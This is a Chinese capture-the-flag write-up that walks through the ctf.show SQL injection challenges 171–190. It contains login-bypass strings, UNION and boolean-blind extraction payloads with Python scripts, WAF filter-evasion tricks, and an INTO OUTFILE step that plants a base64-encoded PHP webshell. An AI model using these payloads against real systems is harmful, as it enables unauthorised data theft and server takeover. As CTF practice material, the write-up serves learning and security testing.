show_sql注入上

171:

这个是考察万能密码的直接:’ or 1=1–+就直接出来了

这里说一下sql的基本查看语句:一般来说正常的是:

SELECT * FROM users WHERE username = ‘$input’ AND password = ‘$password’;

然后你注入万能密码就成为了:

SELECT * FROM users WHERE username = ‘’ or 1=1–+ AND password = ‘$password’;(–+表示注释,即注释之后的都不执行)

这样原本的查询条件就被破坏,or 1=1 使得整个 WHERE 条件恒为真,并且 -- 注释掉了后面的 AND password = '$password' 部分,最终可能导致攻击者绕过认证机制,获取到数据库中 users 表的所有记录等恶意操作。当然mysql数据库也不一定是’’进行闭合的,具体问题具体分析。

172:

这个也是没有过滤,先试试万能密码:’ or 1=1–+成功回显说明是’进行闭合,接下来就可以试试sql的语句了(有俩列数据):

‘ union select 1,2–+

‘ union select 1,database()–+

‘ union select 1,group_concat(table_name)from information_schema.tables where table_schema=’ctfshow_web’–+

‘ union select 1,group_concat(column_name)from information_schema.columns where table_name=’ctfshow_user2’–+

‘ union select 1,group_concat(password)from ctfshow_user2–+

173:

一样,’ union select 1,2,group_concat(password)from ctfshow_user3–+

174:

/flag|[0-9]/i

这个额可以使用replace

‘ union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(username),”1”,”@A”),”2”,”@B”),”3”,”@C”),”4”,”@D”),”5”,”@E”),”6”,”@F”),”7”,”@G”),”8”,”@H”),”9”,”@I”),”0”,”@J”),replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(password),”1”,”@A”),”2”,”@B”),”3”,”@C”),”4”,”@D”),”5”,”@E”),”6”,”@F”),”7”,”@G”),”8”,”@H”),”9”,”@I”),”0”,”@J”) from ctfshow_user4 where username=”flag” – +

然后得到:Y@CRmc@Bhvd@CtiNzE@BMjdhOC@JwNTM@ALTQyYzEtOGU@CNC@JzYzliYzU@BOWY@JNzN@I

然后在pycharm里面进行替换解密:

import base64

flag64 = "Y@CRmc@Bhvd@CtiNzE@BMjdhOC@JwNTM@ALTQyYzEtOGU@CNC@JzYzliYzU@BOWY@JNzN@I"

flag = flag64.replace("@A", "1").replace("@B", "2").replace("@C", "3").replace("@D", "4").replace("@E", "5").replace(
"@F", "6").replace("@G", "7").replace("@H", "8").replace("@I", "9").replace("@J", "0")

print(base64.b64decode(flag))

就出来flag了

175:

这个可以进行写入文件:

union select 1,group_concat(password) from ctfshow_user5 where username=”flag” into outfile “/var/www/html/1.txt”

但是我不知道为什么复现不了;

或者:传入一句话木马(进行url编码之后再进行base64编码)

1’ union select 1,from_base64(“%50%44%39%77%61%48%41%67%5a%58%5a%68%62%43%67%6b%58%31%42%50%55%31%52%62%4d%56%30%70%4f%7a%38%2b”) into outfile ‘/var/www/html/1.php然后url/1.php蚁剑连接就行

176:

‘ or 1=1%23万能密码直接出来了;

177:

此处是对空格进行绕过

空格可以进行:/**/(注释),%0a(换行符),%0b(垂直制表符差不多也是换行符),%0c.%09

178:

同上,空格换成%0b|%0c

179:

空格换成%0c

180:

‘or’1’=’1’–%0c

181:

‘or’1’=’1’–%0c

182:

‘or’1=1’–%01

‘or’1=1’–%08

0c也可以

183:

$sql = "select count(pass) from ".$_POST['tableName'].";";
//对传入的参数进行了过滤
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);
}

在csdn上面学到了一些东西:

data = {"tableName":"`ctfshow_user`where`pass`like('{}%')".format(flag + k)}
  • 这行代码构造了一个字典 data,用于作为 POST 请求的数据。
  • tableName 是请求参数名,其值是一个 SQL 语句片段。like('{}%') 是 SQL 的模糊匹配操作符,意思是匹配以 flag + k 开头的字符串。注释掉的部分使用了 regexp 正则表达式匹配,功能类似。

然后空格的话可以使用()绕过或者``反引号

import requests
import string
url = 'http://cd86bba0-571c-482d-a491-5e7e79faadd1.challenge.ctf.show/select-waf.php'
dic = string.digits+string.ascii_lowercase+'-{}' # flag可能的字符
# print(dic)
out = 'ctfshow{' # 已经确定的部分
for j in range(0, 50): # 为了确保flag完整输出,范围尽量大一点,观察到flag完全输出后结束运行即可
for k in dic:
payload = {'tableName': f"(ctfshow_user)where(pass)like'{out+k}%'"} # 将每次更新后的out加上我们新增的一个猜测字符添加到payload
# print(payload)
re = requests.post(url, data=payload)
# print(re.text)
if '$user_count = 1;' in re.text:
print(k)
out += k
break # 回显1说明我们猜正确了,跳出内层循环,继续猜下一位
print(out)

184:

function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}

新过滤了where了,可以使用having

区别:WHERE是对原始数据行的过滤,HAVING是对分组聚合后的结果进行筛选。在没有GROUP BY子句时,HAVING的行为与WHERE类似,但HAVING支持聚合函数

一个HAVING子句必须位于GROUP BY子句之后,并位于ORDER BY子句之前

然后单双引号、反引号都被过滤了,但是本题没有过滤空格,单双引号可以用括号+十六进制。

import requests
import string
url = 'http://6244362c-ee43-4012-81d5-275793a9617c.challenge.ctf.show/select-waf.php'
dic = string.digits+string.ascii_lowercase+'-{}' # flag可能的字符
dic = [f"{ord(c):02x}" for c in dic]
# print(dic)
out = '0x63746673686f777b' # 已经确定的部分
for j in range(0, 50): # 为了确保flag完整输出,范围尽量大一点,观察到flag完全输出后结束运行即可
for k in dic:
payload = {'tableName': f"ctfshow_user group by pass having pass like {out+k}25"} # 将每次更新后的out加上我们新增的一个猜测字符添加到payload
# print(payload)
re = requests.post(url, data=payload)
# print(re.text)
if '$user_count = 1;' in re.text:
print(k)
out += k
break # 回显1说明我们猜正确了,跳出内层循环,继续猜下一位
print(out)

185:

//对传入的参数进行了过滤
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}

这个过滤了数字不过,可以使用sql语法:可以使用 true 结合 concat 拼接出数字 例:

mysql> select concat(true,true);
+——————-+
| concat(true,true) |
+——————-+
| 11 |
+——————-+
1 row in set (0.00 sec)

附上yu师傅的脚本:

#author:yu22x
import requests
import string
url="http://8319afbf-281c-4a73-b14e-a29426d0e556.challenge.ctf.show/select-waf.php"
s='0123456789abcdef-{}'
def convert(strs):
t='concat('
for s in strs:
t+= 'char(true'+'+true'*(ord(s)-1)+'),'
return t[:-1]+")"
flag=''
for i in range(1,45):
print(i)
for j in s:
d = convert(f'^ctfshow{flag+j}')
data={
'tableName':f' ctfshow_user group by pass having pass regexp({d})'
}
#print(data)
r=requests.post(url,data=data)
#print(r.text)
if("user_count = 1" in r.text):
flag+=j
print(flag)
if j=='}':
exit(0)
break
def convert(strs):
t='concat('
for s in strs:
t+= 'char(true'+'+true'*(ord(s)-1)+'),'
return t[:-1]+")"

这个先将s给转化为ascll码,然后进行true的加和乘,用来回显出来字母

for i in range(1,45):
print(i)
for j in s:
d = convert(f'^ctfshow{flag+j}')
data={
'tableName':f' ctfshow_user group by pass having pass regexp({d})'
}

这个先找出来以ctfshow{开头的字段,然后猜flag

if("user_count = 1"  in r.text):
flag+=j
print(flag)
if j=='}':
exit(0)
break

这个用来判断flag。

186:

//对传入的参数进行了过滤
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\%|\<|\>|\^|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}

还是yu师傅的脚本

187:

//拼接sql语句查找指定ID用户
$sql = "select count(*) from ctfshow_user where username = '$username' and password= '$password'";
$username = $_POST['username'];
$password = md5($_POST['password'],true);

//只有admin可以获得flag
if($username!='admin'){
$ret['msg']='用户名不存在';
die(json_encode($ret));
}

这个是登录页面,

string md5( string $str[, bool $raw_output = false] )

  • raw_output:如果可选的 raw_output 被设置为 TRUE,那么 MD5 报文摘要将以16字节长度的原始二进制格式返回。

ffifdyop是一个特殊的字符串,类似万能密码。还有129581926211651571912466741651878684928也可以达到同样的效果。

然后admin ffifdyop 就登录进去了,记得bp抓包

188:

//用户名检测
if(preg_match('/and|or|select|from|where|union|join|sleep|benchmark|,|\(|\)|\'|\"/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}

//密码判断
if($row['pass']==intval($password)){
$ret['msg']='登陆成功';
array_push($ret['data'], array('flag'=>$flag));
}

多了检测;

sql里,数字和字符串的匹配是弱类型比较,字符串会转换为数字,如0==admin,那么如果输入的username是0,则会匹配所有开头不是数字或者为0的字符串和数字0。

然后再来看password的判断,也是弱类型的比较,那么也直接输入0,尝试登录一个用户名和pass的开头是字母或是0的用户。

189:

//用户名检测
if(preg_match('/select|and| |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\x26|\x7c|or|into|from|where|join|sleep|benchmark/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}

//密码判断
if($row['pass']==$password){
$ret['msg']='登陆成功';
}

然后提示flag在api/index.php文件中,这个是要是有load_file的函数

然后测试:u=0&p=0时是密码错误说明存在u=1这个账号,而u=1&p=0时,查询失败说明没有这个账号

# @Author:Kradress
from operator import concat
import requests
import string

url = 'http://45b25a84-ef41-400e-ad2f-ae90d1670eaa.challenge.ctf.show/api/index.php'
uuid = string.digits+string.ascii_lowercase+"-}"
passwd = "if(load_file('/var/www/html/api/index.php')regexp('ctfshow{" #ctfshow{
flag = 'ctfshow{'

for i in range(40):
for char in uuid:
print(char)
data = {
'username' : passwd + f"{char}'),0,1)",
'password' : 0
}
res = requests.post(url, data=data)
if "\\u5bc6\\u7801\\u9519\\u8bef" in res.text:
passwd += char
print(passwd)
break

然后这个和183那个差不多,就是条件就是在路径里面查询

190:

//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}

//密码判断
if($row['pass']==$password){
$ret['msg']='登陆成功';
}

//TODO:感觉少了个啥,奇怪

这个试了试,发现使用u=admin和p=0时是密码错误 然后输入其他的还是有用户不存在的回显,应该是布尔盲注

然后就是用脚本跑库名,跑表名,跑列名,找到f1ag,然后猜flag

脚本:

import requests
import string

url = "http://742f0ab8-2de1-4a7e-b0ff-0b33d00fd19f.challenge.ctf.show/api/index.php"
out = ''
for j in range(1, 50):
print(j)
for k in range(32, 128):
# 猜解数据库名
# data={
# 'username': f"0'||if(ascii(substr(database(),{j},1))={k},1,0)#",
# 'password': '1'
# }

# 猜解表名
# data={
# 'username': f"0'||if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{j},1))={k},1,0)#",
# 'password': '1'
# }

# 猜解列名
# data={
# 'username': f"0'||if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{j},1))={k},1,0)#",
# 'password': '1'
# }

# 猜解 flag
data = {
'username': f"0'||if(ascii(substr((select f1ag from ctfshow_fl0g),{j},1))={k},1,0)#",
'password': '1'
}

re = requests.post(url, data=data)
if ("\\u5bc6\\u7801\\u9519\\u8bef" in re.text):
out += chr(k)
print(out)
break